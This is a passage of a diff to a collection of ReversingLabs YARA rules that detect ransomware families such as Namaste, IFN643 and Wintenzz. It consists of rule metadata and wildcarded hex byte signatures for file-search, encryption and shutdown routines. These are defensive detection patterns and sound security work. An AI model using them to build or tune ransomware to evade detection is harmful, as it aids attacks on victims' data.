-            50 FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44
-            24 ?? ?? 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            FF D3 85 C0 75 ?? 8B 45 ?? 56 48 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8D
-            44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 31 83 C1 ?? 66 85 F6 75 ??
-            2B CA D1 F9 8D 4C 4C ?? 3B C1 74 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 74 ?? FF 75
-            ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 5B 8B E5 5D C2
+            02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F
+            ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 0B 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 02 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 07 28 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ?? 26 72 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A
         }
-		$shutdown = {
-            68 ?? ?? ?? ?? 8B CA 8B D0 0F B7 45 ?? 03 C2 33 D2 F7 F6 0F B7 75 ?? 8D 85 ?? ?? ??
-            ?? 50 03 F1 8B FA FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? F6 05 ?? ?? ??
-            ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 56 57 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 57
-            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 5F 5E 8B C3 5B C9 C3
+		$aes_encrypt = {
+            14 0A 03 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ??
+            ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ??
+            11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
+            ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ??
+            ?? ?? ?? DC 06 2A
         }
-
-	condition:
-		uint16(0)==0x5A4D and $encrypt_file and $main and $encryption_loop and $shutdown
-}
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Namaste : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Namaste ransomware."
-		author = "ReversingLabs"
-		id = "e85d7ec3-367b-5bde-a570-8caa1f6cd61b"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Namaste.yara#L1-L81"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5a952276f41b5524bcb82a9ceb076983d2faf2864b3bbd0a06d49bbd5edc1e0e"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Namaste"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
 		$find_files_p1 = {
-            03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 02 06 07 9A 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32
-            ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ?? 0C 16 0D 2B ?? 08 09 9A 13 ?? 02 11 ?? 28 ?? ??
-            ?? ?? 17 28 ?? ?? ?? ?? 09 17 58 0D 09 08 8E 69 32 ?? DE ?? 26 DE ?? 2A
+            28 ?? ?? ?? ?? 0A 1F ?? 28 ?? ?? ?? ?? 0B 18 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25
+            17 72 ?? ?? ?? ?? A2 0C 06 0D 16 13 ?? 38 ?? ?? ?? ?? 09 11 ?? 9A 13 ?? 11 ?? 6F ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11
+            ?? 28 ?? ?? ?? ?? 08 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ??
+            ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ??
+            ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ??
+            ?? DC DE ?? 26 DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ??
+            ?? ?? ?? DC 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ??
+            11 ?? 11 ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ??
+            ?? ?? ?? 25 19 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ??
+            DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ??
+            8E 69 3F ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 09 8E 69 3F ?? ?? ?? ?? 08
         }
 		$find_files_p2 = {
-            02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 17 2A 03 6F ?? ?? ?? ??
-            0A 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
-            ?? ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ??
-            ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 2D ?? 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2C ?? 03 72 ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 16 2A 02 7B ?? ?? ?? ?? 2D ?? 03 72 ?? ?? ?? ?? 6F ?? ??
-            ?? ?? 2D ?? 16 2A 03 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 03 73 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            20 ?? ?? ?? ?? 6A 31 ?? 16 0C DE ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? 07 28 ?? ?? ?? ??
-            2A 08 2A
-        }
-		$encrypt_files_p1 = {
-            02 03 28 ?? ?? ?? ?? 2C ?? 02 7B ?? ?? ?? ?? 2C ?? 02 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            02 7B ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? 02 03 72
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 02 7B ?? ?? ?? ?? 2C ?? 03 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 2C ?? 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2A
-        }
-		$encrypt_files_p2 = {
-            1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 02 20 ?? ?? ??
-            ?? 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
-            ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1B 28 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 1F
-            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 02 07
-            28 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            DC 02 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
-        }
-		$encrypt_files_p3 = {
-            28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 26 73 ?? ?? ?? ?? 0A 06 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            06 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 18 6F ?? ?? ?? ?? 04 14 73 ?? ?? ?? ?? 0B 06 07 06
-            6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 07 06 6F ?? ?? ?? ?? 1E 5B 6F ??
-            ?? ?? ?? 6F ?? ?? ?? ?? 06 1A 6F ?? ?? ?? ?? 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ??
-            ?? ?? ?? 0C 08 06 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 0D 03 19 73 ?? ?? ?? ?? 13 ?? 20 ??
-            ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 2B ?? 09 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11
-            ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 30 ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 09
-            2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 03 28 ?? ?? ?? ?? 2A
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_IFN643 : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects IFN643 ransomware."
-		author = "ReversingLabs"
-		id = "a4d211a7-6735-541e-885d-555bbc11e2cf"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.IFN643.yara#L1-L90"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ced234018f1f05601dd3be55eaecd2a1e116ad0b7bb9e0292434f11f19916ebe"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "IFN643"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$search_files_1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B D6 C7 45 ?? ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8
-            ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ??
-            83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ??
-            ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB
-            ?? 0F 84
-        }
-		$search_files_2 = {
-            80 BD ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 75 ?? 33
-            C0 EB ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 50 8D 85 ?? ?? ?? ??
-            50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7
-            E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D6 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 4D ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ??
-            ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ??
-            ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ??
-            0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ??
-            8B 35 ?? ?? ?? ?? 33 DB 2B CE C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F7 E9 C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C1 FA ?? 8B C2 C6 85 ?? ?? ?? ?? ?? C1 E8 ?? 03 C2 74 ?? 33 FF ?? ?? ??
-            8D 45 ?? 8D 0C 37 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 89 45 ?? 8D 45 ?? 0F 43
-            45 ?? C6 00 ?? 8B 35 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B CE 43 F7 E9 83
-            C7 ?? C1 FA ?? 8B C2 C1 E8 ?? 03 C2 3B D8 72 ?? 83 7D ?? ?? 76 ?? 8D 45 ?? B9 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 0D ?? ?? ?? ?? F7 E9 C1
-            FA ?? 8B C2 C1 E8 ?? 03 C2 83 F8 ?? 0F 83 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ??
-            72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F
-            83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ??
-            ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83
-            F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ??
-            8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
-            45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ??
-            8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76
-            ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1
-            ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8
-            ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ??
-            83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41
-            ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8
-            ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
-            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$encrypt_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B C2 89 45 ?? 8B F9 8B 75 ?? 89 75 ??
-            C7 45 ?? ?? ?? ?? ?? 90 3B F8 0F 84 ?? ?? ?? ?? 89 75 ?? C6 45 ?? ?? 85 F6 74 ?? 8B
-            17 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46
-            ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? 8B C6 C6 00 ?? 80 3A ?? 75 ?? 33 C0 EB ?? 8B C2 8D
-            58 ?? 66 90 8A 08 40 84 C9 75 ?? 2B C3 50 52 8B CE E8 ?? ?? ?? ?? 8B 45 ?? 83 C6 ??
-            C6 45 ?? ?? 89 75 ?? 83 C7 ?? EB ?? 8B 55 ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A
-            ?? 6A ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
-            2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9 ?? ?? ?? ?? 2B 49 ?? E9
-            ?? ?? ?? ?? 33 C0 57 8B F9 40 F0 0F C1 05 ?? ?? ?? ?? 75 ?? 56 BE ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 83 C6 ?? 59 81 FE ?? ?? ?? ?? 7C ?? 5E 8B C7 5F C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and $search_files_1 and $search_files_2 and $encrypt_files
-}
-rule REVERSINGLABS_Win64_Ransomware_Wintenzz : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Wintenzz ransomware."
-		author = "ReversingLabs"
-		id = "6bf569e8-b050-51ef-a948-0eb294248d63"
-		date = "2021-11-02"
-		modified = "2021-11-02"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Wintenzz.yara#L1-L83"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "ff4bdf2f6ee185b98d0014b3066806fe7e25ea94f46837948bc5262440bf8a56"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Wintenzz"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files = {
-            48 8D 75 ?? 41 B8 ?? ?? ?? ?? 48 89 F1 31 D2 E8 ?? ?? ?? ?? 48 89 F9 48 89 F2 E8 ??
-            ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ??
-            ?? ?? 0F 28 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 00 0F 28 85 ?? ?? ??
-            ?? 0F 11 40 ?? 48 8B 8D ?? ?? ?? ?? 48 89 48 ?? 49 89 77 ?? 49 89 47 ?? 41 C7 47 ??
-            ?? ?? ?? ?? 49 8D 4F ?? 48 8D 55 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 B6 ?? 31 C0
-            49 89 07 48 85 DB 75 ?? EB ?? E8 ?? ?? ?? ?? 48 C1 E0 ?? 49 89 47 ?? 49 C7 47 ?? ??
-            ?? ?? ?? B8 ?? ?? ?? ?? 31 F6 49 89 07 48 85 DB 74 ?? 48 01 DB 74 ?? 41 B8 ?? ?? ??
-            ?? 48 89 F9 48 89 DA E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ??
-            ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 40 84 F6 75 ?? 48 8B 8D ?? ?? ?? ?? 48 85 C9 74 ?? 48
-            8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F8 48 81 C4
-            ?? ?? ?? ?? 5B 5F 5E 41 5E 41 5F 5D C3 BA
-        }
-		$encrypt_files_p1 = {
-            4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D
-            05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ??
-            48 C7 45 ?? ?? ?? ?? ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 4D ?? 48 8D 55 ??
-            E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 29 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 4D ?? 48 8D 55
-            ?? E8 ?? ?? ?? ?? 48 85 DB 74 ?? BA ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 85 C0 75
-            ?? BA ?? ?? ?? ?? 48 89 D9 E8
-        }
-		$encrypt_files_p2 = {
-            86 97 ?? ?? ?? ?? C0 74 3C ?? ?? C1 E8 ?? 28 03 00 48 ?? C0 74 2F ?? ?? FA 03 75 ??
-            48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40
-            ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 85
-            C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D ?? ?? ??
-            ?? 48 39 C8 0F 84 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B
-            55 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA
-            ?? 75 ?? 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ??
-            0F B6 40 ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ??
